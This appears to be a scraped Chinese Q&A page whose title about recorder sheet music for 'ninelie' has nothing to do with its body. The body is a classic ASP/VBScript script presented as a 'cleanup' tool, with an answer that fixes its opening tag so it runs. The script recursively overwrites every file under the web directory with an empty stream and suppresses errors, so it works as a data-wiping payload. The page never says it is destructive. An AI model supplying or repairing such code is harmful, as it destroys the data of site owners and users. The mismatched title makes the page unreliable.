ninelie竖笛谱:怎么声名? 俺 不会

来源:百度文库 编辑:高考问答 时间:2024/04/29 14:07:54
下面代码 只要 随便看下 头部 即可

>%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>

首先 上面代码 错了

使用 这个代码前 该 怎么 声名 ?

javascript 还是 vbscript?

怎么声名? 俺 不会

是 vbscript

把:

>%
Server.ScriptTimeout=99999

改为:

<%
Server.ScriptTimeout=99999

即可 系统 默认为 vbscript